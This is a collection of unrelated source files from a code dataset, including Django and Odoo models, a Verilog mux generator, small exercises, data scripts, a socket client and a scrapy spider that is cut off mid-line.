Resolved,\n Ticket.WAITING: Waiting,\n }\n\n @classmethod\n def get(cls, state):\n return cls.SLA_STATE.get(state)\n\n\nclass Type(TimeStampedModel):\n name = models.CharField(max_length=50)\n board = models.ForeignKey('ConnectWiseBoard', on_delete=models.CASCADE)\n\n class Meta:\n verbose_name = 'Type'\n verbose_name_plural = 'Types'\n\n def __str__(self):\n return self.name\n\n\nclass SubType(TimeStampedModel):\n name = models.CharField(max_length=50)\n board = models.ForeignKey('ConnectWiseBoard', on_delete=models.CASCADE)\n\n class Meta:\n verbose_name = 'Subtype'\n verbose_name_plural = 'Subtypes'\n\n def __str__(self):\n return self.name\n\n\nclass Item(TimeStampedModel):\n name = models.CharField(max_length=50)\n board = models.ForeignKey('ConnectWiseBoard', on_delete=models.CASCADE)\n\n class Meta:\n verbose_name = 'Item'\n verbose_name_plural = 'Items'\n\n def __str__(self):\n return self.name\n","sub_path":"djconnectwise/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":56273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"593828746","text":"# -*- coding: utf-8 -*-\nfrom odoo import fields, api, models\n\nimport logging\nimport odoo\nimport time\n\n_logger = logging.getLogger(__name__)\n\n\nclass StockLocation(models.Model):\n _inherit = \"stock.location\"\n\n pos_branch_id = fields.Many2one('pos.branch', string='Branch')\n location_address_id = fields.Many2one(\n 'res.partner',\n string='Location Address'\n )\n\n @api.model\n def create(self, vals):\n if not vals.get('pos_branch_id'):\n vals.update({'pos_branch_id': self.env['pos.branch'].sudo().get_default_branch()})\n location = super(StockLocation, self).create(vals)\n return location\n\n def pos_update_stock_on_hand_by_location_id(self, vals={}):\n self.env['stock.quant'].with_context(inventory_mode=True).create({\n 'product_id': vals['product_id'],\n 'location_id': vals['location_id'],\n 'inventory_quantity': vals['quantity'],\n })\n location = self.env['stock.location'].browse(vals['location_id'])\n product = self.env['product.product'].with_context({'location': location.id}).browse(vals.get('product_id'))\n return {\n 'location': location.name,\n 'product': product.display_name,\n 'quantity': product.qty_available\n }\n\n def _get_child_locations(self, location_id, location_ids=[]):\n location = self.browse(location_id)\n if location.child_ids:\n location_ids = list(set(location_ids + [child.id for child in location.child_ids]))\n for child in location.child_ids:\n if child.usage == 'internal':\n child_location_ids = self._get_child_locations(child.id, location_ids)\n location_ids = list(set(location_ids + child_location_ids))\n return location_ids\n\n # TODO: change at 3.12.2020\n # def get_stock_data_by_location_ids(self, product_ids=[], location_ids=[]):\n # _logger.info('[get_stock_data_by_location_ids] locations: %s products: %s ' % (location_ids, product_ids))\n # stock_datas = {}\n # if len(product_ids) == 0:\n # product_ids = self.env['product.product'].search(\n # [('available_in_pos', '=', True), ('type', '!=', 'service')])\n # else:\n # product_ids = self.env['product.product'].browse(product_ids)\n # for location_id in location_ids:\n # stock_datas[location_id] = {}\n # # location = self.env['stock.location'].browse(location_id)\n # for product in product_ids:\n # # qty_available = self.env['stock.quant'].sudo()._get_available_quantity(product, location)\n # product.with_context(location=location_id)\n # qty_available = product.qty_available\n # stock_datas[location_id][product.id] = qty_available\n # # _logger.info(\n # # 'Location ID: [%s] with Product - ID [%s - %s] has stock on hand %s' % (\n # # location_id, product.name, product.id,\n # # qty_available))\n # return stock_datas\n\n # TODO: change at 2.12.2020\n # def get_stock_data_by_location_ids(self, product_ids=[], location_ids=[]):\n # stock_datas = {}\n # if len(product_ids) == 0:\n # product_ids = self.env['product.product'].search(\n # [('available_in_pos', '=', True), ('type', '!=', 'service')])\n # else:\n # product_ids = self.env['product.product'].browse(product_ids)\n # for location_id in location_ids:\n # stock_datas[location_id] = {}\n # location = self.env['stock.location'].browse(location_id)\n # for product in product_ids:\n # qty_available = self.env['stock.quant'].sudo()._get_available_quantity(product, location)\n # stock_datas[location_id][product.id] = qty_available\n # _logger.info(\n # 'Location: [%s] with Product - ID [%s - %s] has stock on hand %s' % (\n # location.display_name, product.name, product.id,\n # qty_available))\n # return stock_datas\n\n # TODO: before 2.12.2020\n # TODO: 07.02.2020 supported product KIT (https://www.odoo.com/documentation/user/14.0/manufacturing/management/kit_shipping.html)\n def get_stock_data_by_location_ids(self, product_ids=[], location_ids=[]):\n _logger.info('BEGIN [get_stock_data_by_location_ids] of location_ids %s of product_ids %s' % (location_ids, product_ids))\n stock_datas = {}\n for location_id in location_ids:\n stock_datas[location_id] = {}\n location_ids = self._get_child_locations(location_id, [])\n location_ids.append(location_id)\n if len(location_ids) == 1:\n location_ids.append(0)\n if len(product_ids) == 1:\n product_ids.append(0)\n if len(location_ids) == 0:\n continue\n if not product_ids:\n sql = \"SELECT pp.id FROM product_product as pp, product_template as pt where pp.product_tmpl_id=pt.id and pt.type = 'product'\"\n self.env.cr.execute(sql)\n products = self.env.cr.dictfetchall()\n product_ids = [p.get('id') for p in products]\n for product_id in product_ids:\n sql = \"SELECT sum(quantity - reserved_quantity) FROM stock_quant where location_id in %s AND product_id = %s\"\n self.env.cr.execute(sql, (tuple(location_ids), product_id,))\n datas = self.env.cr.dictfetchall()\n stock_datas[location_id][product_id] = 0\n if datas and datas[0]:\n if not datas[0].get('sum', None):\n stock_datas[location_id][product_id] = 0\n else:\n stock_datas[location_id][product_id] = datas[0].get('sum')\n if stock_datas[location_id][product_id] == 0:\n product = self.env['product.product'].sudo().browse(product_id)\n hasBoms = self.env['mrp.bom'].sudo().search([\n '|',\n ('product_id', '=', product_id),\n ('product_tmpl_id', '=', product.product_tmpl_id.id),\n ])\n if hasBoms:\n product.with_context(location=location_id)\n qty_available = product.qty_available\n stock_datas[location_id][product_id] = qty_available\n _logger.info(stock_datas)\n return stock_datas\n","sub_path":"pos_retail/models/stock/StockLocation.py","file_name":"StockLocation.py","file_ext":"py","file_size_in_byte":6635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"136129053","text":"import magma\nimport mantle\nfrom ..generator.generator import Generator\nfrom ..generator.from_magma import FromMagma\nfrom ..generator.from_verilog import FromVerilog\nimport math\n\n@magma.cache_definition\ndef _generate_mux_wrapper(height, width):\n sel_bits = magma.bitutils.clog2(height) #1-bit extra for the constant \n T = magma.Bits[width]\n\n class _MuxWrapper(magma.Circuit):\n name = f\"MuxWrapper_{height}_{width}\"\n in_height = max(1, height)\n IO = [\n \"I\", magma.In(magma.Array[in_height, T]),\n \"O\", magma.Out(T),\n ]\n if height > 1:\n IO.extend([\"S\", magma.In(magma.Bits[sel_bits])])\n\n @classmethod\n def definition(io):\n if height <= 1:\n magma.wire(io.I[0], io.O)\n else:\n f = open(\"mux_aoi.sv\", \"w\")\n num_sel = math.ceil(math.log(height,2)) #1-bit extra for the constant \n num_inputs = math.pow(2, num_sel)\n \n f.write(\"module mux ( \\n\")\n \n for i in range(height):\n f.write(f'\\tinput logic [{width-1} : 0] I{i}, \\n')\n if num_sel==1:\n f.write(f'input logic S, \\n')\n else: \n f.write(f'\\tinput logic [{num_sel-1} : 0] S ,\\n')\n f.write(f'\\toutput logic [{width-1} : 0] O); \\n')\n \n f.write(f'\\t\\nlogic [{int(num_inputs)-1} : 0] out_sel;\\n')\n \n f.write(f'\\nprecoder_{width}_{height} u_precoder ( \\n')\n f.write('\\t.S(S), \\n')\n f.write('\\t.out_sel(out_sel)); \\n')\n \n f.write(f'\\nmux_logic_{width}_{height} u_mux_logic ( \\n')\n for i in range(height):\n f.write(f'\\t.I{i} (I{i}),\\n')\n f.write(f'\\t.out_sel(out_sel), \\n')\n f.write(f'\\t.O(O)); \\n')\n \n f.write(f'\\nendmodule \\n')\n \n f.write(f'\\nmodule precoder_{width}_{height} ( \\n') \n f.write(f'\\tinput logic [{num_sel-1} : 0] S ,\\n')\n f.write(f'\\toutput logic [{int(num_inputs)-1} : 0] out_sel );\\n')\n \n f.write(f'\\nalways_comb begin: mux_sel \\n')\n f.write(f'\\tcase (S) \\n')\n for i in range(height):\n data = format(int(math.pow(2,int(i))), 'b').zfill(int(num_inputs))\n f.write(f'\\t\\t{num_sel}\\'d{i} : out_sel = {int(num_inputs)}\\'b{data}; \\n')\n f.write(f'\\t\\tdefault : out_sel = {int(num_inputs)}\\'b0; \\n''')\n f.write(f'\\tendcase \\n')\n f.write(f'end \\n')\n f.write(f'\\nendmodule \\n')\n \n f.write(f'\\nmodule mux_logic_{width}_{height} ( \\n') \n f.write(f'\\tinput logic [{int(num_inputs)-1} : 0] out_sel,\\n')\n for i in range(height):\n f.write(f'\\tinput logic [{width-1} : 0] I{i}, \\n')\n f.write(f'\\toutput logic [{width-1} : 0] O); \\n')\n \n f.write(f'\\nalways_comb begin: out_sel_logic \\n')\n f.write(f'\\tcase (out_sel) \\n')\n for i in range(height):\n data = format(int(math.pow(2,int(i))), 'b').zfill(int(num_inputs))\n \n f.write(f'\\t\\t{int(num_inputs)}\\'b{data} : O = I{i}; \\n')\n data = format(int(math.pow(2,int(i+1))), 'b').zfill(int(num_inputs))\n f.write(f'\\t\\tdefault : O = 0; \\n''')\n f.write(f'\\tendcase \\n')\n f.write(f'end \\n')\n \n f.write(\"endmodule \\n\")\n f.close()\n mux = magma.DefineFromVerilogFile(\"./mux_aoi.sv\", target_modules=[\"mux\"])[0]()\n #mux = mantle.DefineMux(height, width)()\n for i in range(height):\n magma.wire(io.I[i], mux.interface.ports[f\"I{i}\"])\n mux_in = io.S if sel_bits > 1 else io.S[0]\n magma.wire(mux_in, mux.S)\n magma.wire(mux.O, io.O)\n \n return _MuxWrapper\n\n\nclass AOIMuxWrapper(Generator):\n def __init__(self, height, width, name=None):\n super().__init__(name)\n\n self.height = height\n self.width = width\n\n T = magma.Bits[self.width]\n\n # In the case that @height <= 1, we make this circuit a simple\n # pass-through circuit.\n if self.height <= 1:\n self.add_ports(\n I=magma.In(magma.Array[1, T]),\n O=magma.Out(T),\n )\n #self.wire(self.ports.I[0], self.ports.O)\n self.sel_bits = 0\n return\n\n #MuxCls = mantle.DefineMux(self.height, self.width)\n #self.mux = FromMagma(MuxCls)\n\n self.sel_bits = magma.bitutils.clog2(self.height) #1-bit extra for the constant \n\n self.add_ports(\n I=magma.In(magma.Array[self.height, T]),\n S=magma.In(magma.Bits[self.sel_bits]),\n O=magma.Out(T),\n )\n\n #for i in range(self.height):\n # self.wire(self.ports.I[i], self.mux.ports[f\"I{i}\"])\n #mux_in = self.ports.S if self.sel_bits > 1 else self.ports.S[0]\n #self.wire(mux_in, self.mux.ports.S)\n #self.wire(self.mux.ports.O, self.ports.O)\n\n def circuit(self):\n return _generate_mux_wrapper(self.height, self.width)\n\n def name(self):\n return f\"MuxWrapper_{self.height}_{self.width}\"\n","sub_path":"gemstone/common/mux_wrapper_aoi.py","file_name":"mux_wrapper_aoi.py","file_ext":"py","file_size_in_byte":5611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"348623827","text":"import sys\n\ndef main(file_name, num_nodes=-1):\n directory = 'modified_test/'\n old = open(file_name, 'rt')\n new = open(directory+file_name, 'wt')\n\n line = old.readline()\n line += old.readline()\n\n if num_nodes != -1:\n line = str(num_nodes) + '\\n\\n'\n \n new.write(line)\n\n num_nodes = int(num_nodes)\n\n for line in old:\n a, head, tail, cost = line.split()\n \n if num_nodes != -1:\n head = int(head)\n tail = int(tail)\n if head > num_nodes or tail > num_nodes:\n continue\n line = str(head) + ' ' + str(tail) + ' ' + cost[:2] + '\\n'\n new.write(line)\n\n old.close()\n new.close()\n\n\n\nif __name__ == '__main__':\n if 2<=len(sys.argv)<=3 :\n if len(sys.argv) == 2:\n main(sys.argv[1])\n else:\n main(sys.argv[1], sys.argv[2])","sub_path":"test/modify_test.py","file_name":"modify_test.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"478912154","text":"#War Version 2.0\n\n#Devin Simoneaux\n\n#This is war according to Version 2 in the README file\n\nimport random\t\n\ndef main():\n\t\n\tDeck = []\n\tPlayerAHand = []\n\tPlayerBHand = []\n\tgameCounter = 0\n\tcardA = 0\n\tcardB = 0\n\trankA = 0\n\trankB = 0\n\n\t# Create deck. Cards are represented by an integer value\n\tfor i in range(52):\n\t\tDeck.append(i)\n\t\n\t# Shuffle the deck\n\trandom.shuffle(Deck)\n\t\n\t# Deal 1/2 the cards to each player\n\tfor x in range(26):\n\t\tPlayerAHand.append(Deck.pop())\n\t\tPlayerBHand.append(Deck.pop())\n\t\n\t# Main Gameplay\n\t\t\n\twhile len(PlayerAHand) > 0 and len(PlayerBHand) > 0:\n\t\tgameCounter += 1\n\t\tPlayerAHand, PlayerBHand = playRound(PlayerAHand, PlayerBHand)\n\t\n\t# End of game\n\t\n\tprint(\"There were \", gameCounter, \" rounds played\")\n\t\ndef playRound(PlayerA, PlayerB):\n\tcardA = PlayerA.pop()\n\tcardB = PlayerB.pop()\n\trankA = getRank(cardA)\n\trankB = getRank(cardB)\n\tif rankA > rankB:\n\t\tPlayerA.insert(0, cardA)\n\telif rankB > rankA:\n\t\tPlayerB.insert(0, cardB)\n\telse:\n\t\tWAR(PlayerA, PlayerB)\n\treturn PlayerA, PlayerB\n\n\ndef WAR(PlayerA, PlayerB):\n\t# See the README.md file for instructions on coding \n\t# This module.\n\n\treturn PlayerA, PlayerB\n\n\t\ndef getRank(anyCard):\n\treturn anyCard % 13\n\n\nif __name__ == '__main__':\n\tmain()\n\n","sub_path":"warV2.py","file_name":"warV2.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"54938158","text":"def migratoryBirds(arr):\r\n l=[]\r\n s=set(arr)\r\n for i in s:\r\n l.append(arr.count(i))\r\n m=max(l)\r\n for i in s:\r\n if(arr.count(i) == m):\r\n return i\r\nif __name__ == '__main__':\r\n arr_count = int(input().strip())\r\n\r\n arr = list(map(int, input().rstrip().split()))\r\n\r\n result = migratoryBirds(arr)\r\n\r\n print(result)\r\n","sub_path":"Migratory Birds.py","file_name":"Migratory Birds.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"169922514","text":"# Constants tuple for display time calculation\nINTERVALS = (\n ('Weeks', 604800), # 60 * 60 * 24 * 7\n ('Days', 86400), # 60 * 60 * 24\n ('Hours', 3600), # 60 * 60\n ('Minutes', 60),\n ('Seconds', 1),\n)\n\n\ndef get_user_choice(choices, choice_type, default_value=\"\"):\n \"\"\"\n A common method to take user choice from a list of choices\n\n Args:\n (list) choices - list of choices\n (str) choice_type - Type of choice\n (boolean) default_value - Return default value in case wrong input\n Returns:\n (str) - User selected choice\n \"\"\"\n\n print(\"\\n\\n{}\\n\".format(choice_type))\n\n # Display the choices to user\n for i in range(len(choices)):\n print(\"{}. {}\".format(i + 1, choices[i].capitalize()))\n\n # User input for number for choice selection\n while True:\n try:\n\n # Input prompt for Choice\n choice = input(\"\\nEnter your choice: \")\n\n # Convert input text in lowercase\n choice_lower = choice.lower()\n\n # Check if choice text match in list\n if choice_lower in choices:\n\n # Display corrected selection\n print(\"\\nYou selected: {}\".format(choice_lower.capitalize()))\n\n return choice_lower\n elif choice_lower.isdigit():\n # Check if user used number for selection\n\n # Check if number choice has value in list\n choice_value = choices[int(choice_lower) - 1]\n\n # Display corrected selection\n print(\"\\nYou selected: {}\".format(choice_value.capitalize()))\n\n return choice_value\n else:\n\n if len(default_value) > 0:\n\n # Check for default value, if yes return that in wrong input event\n return default_value\n else:\n # Display input error message\n print(\"\\nPlease enter a valid choice (text or number).\")\n\n except KeyboardInterrupt:\n\n # Keyboard Interrupt need to handled so program can exit properly\n print(\"Exiting..\")\n\n # Make sure we are passing the exception to chain\n raise\n except:\n\n if len(default_value) > 0:\n\n # Check for default value, if yes return that in wrong input event\n return default_value\n else:\n print(\"\\nPlease enter a valid choice (1,2,3,...) or text.\")\n\n\ndef display_time(seconds, granularity=2):\n \"\"\"\n A common method to take time in seconds and convert\n that into Week, Day, Hour, Minutes and Seconds.\n \n Args:\n (int) seconds - time value in seconds\n (str) granularity - granularity\n \n Returns:\n (str) - Formatted time in Week, Day, Hour, Minutes and Seconds\n \"\"\"\n\n result = []\n\n for name, count in INTERVALS:\n value = seconds // count\n if value:\n seconds -= value * count\n if value == 1:\n name = name.rstrip('s')\n result.append(\"{} {}\".format(int(value), name))\n return ', '.join(result[:granularity])","sub_path":"projects/01-explore-us-bikeshare-data/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"638550533","text":"# Steven Harding \n# Date: 9/29/2016\n# Homework 4: Making decisions, faking velocity\n\nfrom Ball import *\nfrom functions import *\nfrom data import *\n\nballs = []\n\ndef setup():\n size(800, 600)\n\n\ndef draw():\n global balls\n background(255)\n #activateBalls()\n for b in balls:\n b.animate()\n print(b)\n\n\ndef mouseClicked():\n global balls\n balls.append( Ball(random(width), random(height), random(1)) )\n #getBalls(ballList1)\n \n \n \n \n\n \n \n ","sub_path":"Harding04_MakingDecisionsFakingVelocity/Harding04_MakingDecisionsFakingVelocity.pyde","file_name":"Harding04_MakingDecisionsFakingVelocity.pyde","file_ext":"pyde","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"33797563","text":"import codecs, re, json, pickle\nfrom optimize_device import performance_metric\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import style\nfrom functools import reduce\n\nfrom sklearn import model_selection, svm, tree, neural_network\n\nstyle.use(\"ggplot\")\n\ndef flatten_device(devicedict):\n \"\"\"Flattens the given device dictionary. Every pixel on\n the device is a new entry in the returned dictionary\n\n Arguments\n devicedict - device dictionary returned by the optimization script\"\"\"\n\n d = devicedict[\"monitors\"]\n\n sh = np.shape(devicedict[\"device\"])\n # print(list(pixels))\n for row in range(sh[0]):\n for col in range(sh[1]):\n d[\"pixel_{0}_{1}\".format(row, col)] = int(devicedict[\"device\"][row][col])\n # reduce(lambda x,y: x+y, range(5))\n\n\n return d\n\n# read the json file\nwith codecs.open(\"SiNdevicehist.json\", mode=\"r\",encoding=\"utf-8\") as f:\n devicehistory = json.loads(f.read())\n\n# flatten each device\ndevices = list(map(flatten_device, devicehistory))\n\n#create the dataframe\ndevices = pd.DataFrame(devices)\n\n#calculate performance\ndevices[\"tmperformance\"] = (devices['tminputtmpower'] \\\n - devices['tmreflectedpower'] \\\n - devices['tminputtepower'])/devices['tminputpower']\n\ndevices[\"teperformance\"] = (devices['teinputtepower'] \\\n - devices['tereflectedpower'] \\\n - devices['teinputtmpower'])/devices['teinputpower']\n\ndevices[\"performance\"] = devices[\"tmperformance\"] + devices[\"teperformance\"]\n\n# print(devices.tail())\n\n# devices.performance.plot()\n# plt.show()\n\nX = devices.ix[:,:-11]\ny = devices.ix[:,-1]\n\nXtrain, Xtest, ytrain, ytest = model_selection.train_test_split(X,y,test_size=0.0, random_state=42)\n\nprint(Xtrain.columns)\n\nprint(np.shape(Xtrain))\nprint(np.shape(Xtest))\nprint(np.shape(ytrain))\nprint(np.shape(ytest))\n\n# clf = svm.SVR(C=10.0,kernel='sigmoid', degree=5)\nclf = tree.DecisionTreeRegressor()\n# hl = (100,50,50,10,)\n# clf = neural_network.MLPRegressor(hidden_layer_sizes=hl, \\\n# learning_rate=\"adaptive\", \\\n# activation=\"relu\", \\\n# verbose=True, \\\n# random_state=54)\n\nclf.fit(Xtrain, ytrain)\n# ypredict = clf.predict(Xtest)\nwith open(\"DecisionTreeRegressorOnSiNFirstRun.pickle\", mode='wb') as f:\n pickle.dump(clf, f)\n\n# score = clf.score(Xtest, ytest)\n\n# print(score)\n# print(clf.decision_path(Xtest))\n","sub_path":"pbs-old/mlwithsimlog_sin.py","file_name":"mlwithsimlog_sin.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"77232652","text":"N = int(input())\ndata = list(map(int,input().split()))\n\ndata.sort()\n\n# 그룹 수\nresult = 0\n\n# 한 그룹당 인원수\ncount = 0\n\nfor i in data:\n count += 1\n # 현재 인덱스의 모험가는 그룹의 인원수로 먼저 포함\n # 그룹의 인원 수는 현재 인덱스의 공포도보다 같거나 커야 그룹으로 인정된다.\n if count >= i:\n result += 1\n count = 0\n\nprint(result)\n\n\n","sub_path":"algorithm/이코테/그리디/모험가 길드.py","file_name":"모험가 길드.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"131334662","text":"from .atom import Atom\nfrom .utils import flatten\n\nclass Configuration:\n\n def __init__( self, structure, recipes, config_number=None ):\n \"\"\"\n A Configuration object describes a single atomic geometry.\n\n Args:\n structure (pymatgen.Structure): A pymatgen Structure object for this configuration.\n recipes (list(PolyhedraRecipe): A list of PolyhedraRecipe objects used to construct\n polyhedra for this configuration.\n config_number (:obj:`int`): An optional integer value to identify this configuration\n in a sequence (e.g. the frame number in a trajectory).\n \n Attributes:\n atoms (list(Atom)): A list of atoms that make up this configuration.\n polyhedra (list(CoordinationPolyhedron): A list of polyhedra, generated using\n the PolyhedraRecipe definitions passed in as the `recipes` list.\n central_atoms (list(Atom)): A list of atoms that define the centres of the \n coordination polyhedra.\n coordination_atoms (list(Atom)): A list of atoms that define the vertices of \n the coordination polyhedra.\n \"\"\"\n self.structure = structure\n self.config_number = config_number\n self.atoms = [ Atom( index=i, site=site, label=site.species_string ) \n for i, site in enumerate( self.structure.sites ) ]\n self.polyhedra = []\n for recipe in recipes:\n self.polyhedra.extend( recipe.find_polyhedra( self.atoms, self.structure ) )\n self.central_atoms = sorted( list( set( \n [ p.central_atom for p in self.polyhedra ] ) ),\n key=lambda x: x.index )\n self.coordination_atoms = sorted( list( set( flatten( \n [ p.vertices for p in self.polyhedra ] ) ) ),\n key=lambda x: x.index )\n\n def coordination_atom_by_index( self, index ):\n \"\"\"\n Return the coordination atom with a specific index.\n\n Args:\n index (int): The atom index to match.\n\n Returns:\n (Atom|None): The matching coordination atom. If the desired index does not match\n any of the coordination atoms for this configuration, None is returned.\n \"\"\"\n coordination_atom_indices = [ atom.index for atom in self.coordination_atoms ]\n if index not in coordination_atom_indices:\n return None\n else:\n return self.coordination_atoms[ coordination_atom_indices.index( index ) ] \n\n @property\n def polyhedra_labels( self ):\n return [ p.label for p in self.polyhedra ]\n\n def polyhedra_by_label( self, label ):\n return [ p for p in self.polyhedra if p.label == label ]\n","sub_path":"polyhedral_analysis/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"77513285","text":"import sys\nsys.path.insert(0, '.')\nfrom pyspark import SparkContext, SparkConf\n#from commons.Utils import Utils\n\n\ndef splitComma(line: str):\n splits = line.split(\",\")\n return \"{}, {}\".format(splits [0],splits[6])\n\nif __name__ == \"__main__\":\n\t conf = SparkConf().setAppName(\"water\").setMaster(\"local[*]\")\n\t sc = SparkContext(conf = conf)\n\t \n\t water = sc.textFile(\"water_quality.csv\")\n\n\t water1 = water.filter(lambda line: (line.split(\",\")[6]) ==\"Nitrate\")\n\t \n\t t = water1.map(splitComma)\n\t \n\t t.saveAsTextFile(\"out/water_sol7.csv\")\n","sub_path":"prog/pr7.py","file_name":"pr7.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"507267118","text":"from socket import *\n\ns = socket(AF_INET,SOCK_STREAM)\n\ns.connect((\"127.0.0.1\",8000))\nprint(\"Connect successfully!\")\ndata = s.recv(1024).decode('utf-8')\nprint(data)\nfor str in [b'Tom',b'Jeck',b'Anne']:\n s.send(str)\n data2 = s.recv(1024).decode('utf-8')\n print(data2)\ns.send(b'exit')\ns.close()\n\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"484359954","text":"#!/usr/bin/python\nimport sys\n\ndef doStuff(string, array):\n max1 = 0\n max1pos = 0\n max2 = 0\n max2pos = 0\n for i in range(len(array)):\n if int(array[i]) > max1:\n max1 = int(array[i])\n max1pos = i\n for i in range(len(array)):\n if i != max1pos:\n if int(array[i]) > max2:\n max2 = int(array[i])\n max2pos = i\n #print \"Maxes {0} {1}\".format(max1, max2)\n retstring = ''\n for i in range(max1 - max2):\n retstring += chr(max1pos + ord('A')) + \" \"\n #retstring += (chr(max1pos + ord('A')) + \" \" for i in range(max1 - max2))\n for i in range(int(string)):\n if i != max1pos and i != max2pos:\n for j in range(int(array[i])):\n retstring += chr(i + ord('A')) + \" \"\n for i in range(max2):\n retstring += chr(max1pos + ord('A')) + chr(max2pos + ord('A')) + \" \"\n return retstring\n\n\n\ninputfile = open(sys.argv[1])\noutputfilename = sys.argv[2] if len(sys.argv) > 2 else 'output.txt'\noutputfile = open(outputfilename, 'w')\nnumlines = int(inputfile.readline())\nfor i in range(numlines):\n outputfile.write(\"Case #\" + str(i+1) + \": \"\n +doStuff(inputfile.readline().rstrip(),\n inputfile.readline().rstrip().split(\" \")) + \"\\n\")\n\n","sub_path":"solutions_5753053697277952_1/Python/unsneakyNinja/senate.py","file_name":"senate.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"334709884","text":"from bottle import route, run, request, static_file\nfrom jinja2 import Template\n\n@route('/signup')\ndef login():\n return static_file(\"index.html\", root=\"\")\n \n\n@route('/signup', method='POST')\ndef do_login():\n new_user = {\n \"first_name\": request.forms.get(\"first_name\"),\n \"last_name\": request.forms.get(\"last_name\")\n }\n greeting = Template('

Welcome {{first_name}}

We are very happy to greet you {{first_name}} {{last_name}}!

')\n return greeting.render(first_name= new_user[\"first_name\"], last_name= new_user[\"last_name\"])\n\n\nif __name__ == \"__main__\":\n run(host='localhost', port=7002, debug=True, reloader=True)","sub_path":"W10D4-jinja/ex2/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"472551948","text":"import socket\nimport sys\n\ndef sendHandData():\n\tserver_address = ('localhost', 10000)\n\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\tsock.connect(server_address)\n\t\n\tsock.send(\"SQL|As|Tu|Mes\")\n\tdata = sock.recv(1024)\n\t#print >>sys.stderr, '%s: received \"%s\"' % (sock.getsockname(), data)\n\tsock.close()\n\tif not data:\n\t\treturn False\n\telse:\n\t\treturn True\n\ndef main():\n\tsendHandData()\n\t\t\t\t\nif __name__ == '__main__':\n\tmain()\n\n","sub_path":"Poker/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"457855950","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport numpy as np\n\nimport mxnet as mx\nfrom mxnet import nd, autograd\n\n# N = 批大小, D_in = 输入维数, H = 中间维数, D_out = 输出维数\nN, D_in, H, D_out = 3, 2, 2, 1\nx0 = np.array([[-0.5, 1], [0.2, -0.6], [0., 0.5]]) # 输入数据\ny0 = np.array([[1], [0.2], [0.5]]) # 输出数据\n\nw1_0 = np.array([[0.5, 0], [-0.5, 1]]) # 第 1 层初始权重\nw2_0 = np.array([[-0.5], [0.5]]) # 第 2 层初始权重\n\nlearning_rate = 0.1 # 学习速率\nn_epoch = 2 # 训练 epoch 数\n\n\nx = x0.copy()\ny = y0.copy()\nw1 = w1_0.copy()\nw2 = w2_0.copy()\n\n\nfor t in range(n_epoch):\n h = x.dot(w1)\n h_relu = np.maximum(h, 0)\n\n y_pred = h_relu.dot(w2)\n\n loss = np.square(y_pred - y).sum() / N\n\n grad_y_pred = 2.0 * (y_pred - y) / N\n grad_w2 = h_relu.T.dot(grad_y_pred)\n grad_h_relu = grad_y_pred.dot(w2.T)\n grad_h = grad_h_relu.copy()\n grad_h[h < 0] = 0\n grad_w1 = x.T.dot(grad_h)\n\n w1 -= learning_rate * grad_w1\n w2 -= learning_rate * grad_w2\n\n print('=== EPOCH', t, 'loss', loss, '===')\n print('out', y_pred)\n print('w1_new', w1)\n print('w2_new', w2, '\\n')\n","sub_path":"dl_frameworks/test_numpy.py","file_name":"test_numpy.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"282038085","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport sys\nimport re\nimport json\nimport time\nimport hashlib\nreload(sys)\nsys.setdefaultencoding('utf8')\nfrom ZheJiangCaiGou.items import ZhejiangcaigouItem\n\n\n\nclass ZhejiangzhaobiaoSpider(scrapy.Spider):\n class_type = '2'\n name = 'ZheJiangZhongBiao'\n allowed_domains = ['http://manager.zjzfcg.gov.cn']\n start_urls = ['http://manager.zjzfcg.gov.cn/cms/api/cors/getRemoteResults?pageSize=15&pageNo=1¬iceType=20&url=http%3A%2F%2Fnotice.zcy.gov.cn%2Fnew%2FnoticeSearch']\n\n def parse(self, response):\n dict_data = json.loads(response.text.encode('utf8'))\n items = dict_data['articles']\n for i in items:\n title = i['title']\n\n url = 